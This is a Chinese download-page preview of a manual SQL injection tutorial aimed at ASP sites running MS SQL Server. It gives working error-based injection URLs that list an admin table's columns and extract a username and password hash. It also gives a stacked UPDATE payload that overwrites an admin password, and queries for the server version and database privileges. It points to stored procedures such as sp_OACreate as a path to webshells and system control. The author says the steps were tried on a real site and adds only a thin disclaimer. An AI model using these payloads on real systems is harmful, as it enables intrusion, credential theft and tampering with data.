SQL注入详解：从入门到高级技巧

需积分: 50 31 浏览量更新于2024-07-28 收藏 559KB PDF 举报

"手工进化原版 - 探讨数据库漏洞与SQL手工注入技术" 这篇资源主要讨论的是手工SQL注入攻击，特别是在ASP环境下针对Access和SQLServer数据库的渗透测试方法。SQL注入是一种常见的网络安全问题，它利用了程序员在编写Web应用程序时未充分验证用户输入的缺陷。当用户输入的数据未经检查直接拼接到SQL查询中，攻击者可以构造恶意的SQL语句，以获取未经授权的信息或执行恶意操作。在介绍SQL注入之前，文章提到了当前Web应用程序的普遍结构，即B/S（浏览器/服务器）模式，以及这一模式下潜在的安全隐患。由于许多开发者缺乏安全意识或技能，他们编写的代码可能允许恶意用户通过SQL注入攻击来绕过安全防护。 SQL注入攻击的特点在于它通常不会触发防火墙的警报，因为它们看起来像是正常请求。因此，这类攻击往往难以被及时发现。对于ASP+Access或SQLServer的组合，由于其广泛使用，成为攻击者的常见目标。PHP+MySQL的组合则占据了大约20%的市场份额，而其他数据库系统使用较少。在"入门篇"中，作者强调了学习SQL注入的基础知识，包括理解注入原理。通过举例说明，如访问"http://www.mytest.com/showdetail.asp?id=49"，并在URL后添加一个单引号(')来触发错误，揭示可能存在的注入点。这可以帮助初学者理解如何通过错误信息判断是否存在注入漏洞。接下来的"进阶篇"和"高级篇"可能涵盖了更复杂的注入技巧，如利用错误消息来推断数据库结构，盲注技术（当服务器不返回明显错误时），以及如何构造复杂的SQL语句来获取敏感信息或执行破坏性操作。这篇文章为读者提供了一个逐步深入的SQL手工注入教程，旨在帮助安全从业者和程序员识别并防范此类攻击。同时，它也提醒那些已经熟悉SQL注入的人，即使在基础层面也可能存在误区，需要不断学习和更新知识。

更多 sql 注入信息请关注37 网络技术网 www.37tk.com 你黑客路上的资源站

任务三：得到ADMIN这个表中的所有字段列表：

http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 _

name from BBS.dbo.syscolumns where id=773577794)

又是把NAME和数字比较.

IE 返回：adduser 呵呵，来来来。

http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 _

name from BBS.dbo.syscolumns where id=773577794 and name _

not in(“adduser“))

又返回一个字段名：flag

http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 _

name from BBS.dbo.syscolumns where id=773577794 and name _

not in(“adduser“,“flag“))

好当提交到：

http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 _

name from BBS.dbo.syscolumns

where id=773577794 and name not in(“adduser“,“flag“,“id“,_

“lastlogin“,“lastloginip“,“password“,“username“))

IE 返回：BOF 或 EOF 中有一个是"真"，或者当前的记录已被删除，所需的操

作要求一个当前的记录。

说明，我们已经猜完了。呵呵，看到了吧。

把 BBS 库中的 ADMIN 表中的所有字段列出来了。

分别如下：

adduser,adduser,flag,id,lastlogin,lastloginip,password,username

看了一下，很像动网的论坛。

任务四：查询字段值.

来。我们看看 username 和 password 的值吧。

http://www.AAA.com/jump.asp?id=3400 and 0<(select id from _

BBS.dbo.admin where username>1)

账号出来了：youbiao

http://www.AAA.com/jump.asp?id=3400 and 0<(select id from _

BBS.dbo.admin where password>1 and username=“youbiao“)

密码又出来了：d6b2f32a47b8bcb5 我的天MD5 的！不怕，呵呵~！！！

来。改一下他的密码:

http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin _

set password=“AAABBBCCCDDDEEEF“ where username=“youbiao“;--

呵呵，试试。成功了。我们再来给他改回来.

更多 sql 注入信息请关注37 网络技术网 www.37tk.com 你黑客路上的资源站

http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin _

set password=“d6b2f32a47b8bcb5“ where username=“youbiao“;--

又改回来咯！！！呵~！

通过提交 UPDATE 语句就可以直接把密码给他更改了。不过这是动网的。现在

我们得到的只是后台的账号，你还是到前台去加一个用户为管理员才行。这里，

我们只是作测试，不破坏任何数据。所以本文中的测试网址都更改过。请大家

见谅!

[本文章还做了动画，不过测试动画用到的网站是国内一家大型游戏网站,所以这

里不方便提示下载.请原谅.不明白的朋友请多看MSSQL相关帮助,学会自己独立

分析和研究]

三、结束，闪人!：

这次测试是和黑夜一起测试的。其中用了不少心思。希望，大家不要利用本方法

去破坏网络数据，希望看到本文章的朋友，如果自己的网站用了 SQL 数据库，

请认真检查脚本提交的参数.

最新的研究技术.

1.在 MSSQL 查看系统和数据库信息。可以得到系统补丁情况和数据库版本.

2.可以得到 MSSQL 数据库当前连接的账号名，以及账号是什么权限.

3.查看一个 MSSQL 存储扩展过程是否存在.

4.通过有权限的 MSSQL 数据库账号可以得到 WEB 绝对路径的位置.

5.研究出怎么饶过脚本外部提交的限制.

6.给我一个 MSSQL sysadmin 账号我就一定可以给你一个系统管理员权限, 成

功率 99%.

正在研究的东西.

1.寻找 DVBBS7.0 的漏洞.

2.研究 MSSQL 查寻目录的方法.

3.研究怎么通过 ACCESS 数据库直接得到 WEBSHELL 的方法.

4.深入研究 ACCESS 没公开的函数，为注入服务.

其实以上的研究只有一个目的就是怎么得到 WEBSHELL.

榨干MS SQL最后一滴血www.diybl.com 时间：2007-06-16 作者:佚名编辑:

本站点击：

-风云变换的网络，网络安全让人们不能不关注它。数据库，让我们不得不想起

强大的ORACLE，MS SQL。微软的漏洞最多，今天就用SQL INJECTION来让

MS SQL为我们好好的工作。

更多 sql 注入信息请关注37 网络技术网 www.37tk.com 你黑客路上的资源站

以下（使用一知名网站作为测试点），相信大家对SQL爆库，爆表，爆字段都已

掌握，在这里就不多说这方面了。

MS SQL内置函数介绍：

@@VERSION 获得Windows的版本号，MS SQL的版本号，补丁。 User_name()

得到当前系统的连接用户 Db_name() 得到当前连接的数据库 HOST_NAME()

得到当前主机的名称

这些信息有助我们对系统进行简单的了解

好，下面我们就开始吧！

语句： http：//www.xxx.com/list.asp?classid=1'返回信息：Microsoft OLE DB

Provider for SQL Server 错误 '80040e14' 字符串 ' Order By Id DESC' 之前有未

闭合的引号。 /list.asp，行 290

从这里未闭合的引号（“’”），我们可以确定存在SQL INJECTION。发现在漏洞

当然接着走了，利用以上介绍的函数为我们工作了：

语句： http：//www.xxx.com/list.asp?classid=1 and 0<>(select @@version)—返回：

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值

2195： Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 /list.asp，

行 290

相关的信息出来了，MS SERVER ADVANCED SERVER 2000+SP4, SQL

2000+SP3，从MS SQL SERVER 后面的 8.00.760 可看出是SP3 补丁。看了服务

器的信息，接下应该了解数据库的权限了：

语句：http：//www.xxx.com/list.asp?classid=1 and user_name()=’dbo’返回：正常

返回的信息

确定是权限是DBO，从表面DBO权限的连接用户经常是涉及SYSADMIN服务器

角色成员。说明数据库服务器角色成员组默认是在每个数据库增加一个DBO用

户。

返回原理根 1=1，1=2 相似..这里只是权限测试，我们也把它爆出来看看：

语句： http：//www.xxx.com/list.asp?classid=1 and 0<>(select user_name())—返回：

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'dbo'

转换为数据类型为 int 的列时发生语法错误。 /list.asp，行 290

说明连接数据库的用户权限很高，可以确定是服务器角色组中的成员。

语句：http：//www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回：

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值

'GameIMGSys' 转换为数据类型为 int 的列时发生语法错误。 /list.asp，行 290

这样就可以爆出当前的数据库。得到这么高权限的数据库连接成员，我们当然想

直接得到WEBSHELL，或是直接拿到NT ADMIN。NT ADMIN取决于当前服务

器的配置，如果配置不合理的服务器，我们要直接拿NT ADMIN，拿NT ADMIN

就要用到：

MSSQL内置存储过程：

sp_OACreate (通过它，危害很得更大，但是需要有SYSADMINS权限才可能使用)

sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty

sp_SetPropertysp_OAStop

由于MS SQL一次可以执行多语句，使得我们有机会使用更多的语句。

剩余66页未读，继续阅读

lijinliang2

粉丝: 0
资源: 2

SQL注入详解：从入门到高级技巧

进化树绘制软件MEGA mega5.2 BioEdit 英文原版 下载

蓝宝石显卡-原版480 570 580BIOS.zip

[手工皮具生活]2012年八月刊总第一期.(LeathercraftLife).杨威.原版

AV终结者原版VIP原版

OllyICE原版

Ollydbg原版

原版OD

ajaxFileUpload原版

原版BitTorrent

Innocent 原版

最新资源

进化树绘制软件MEGA mega5.2 BioEdit 英文原版下载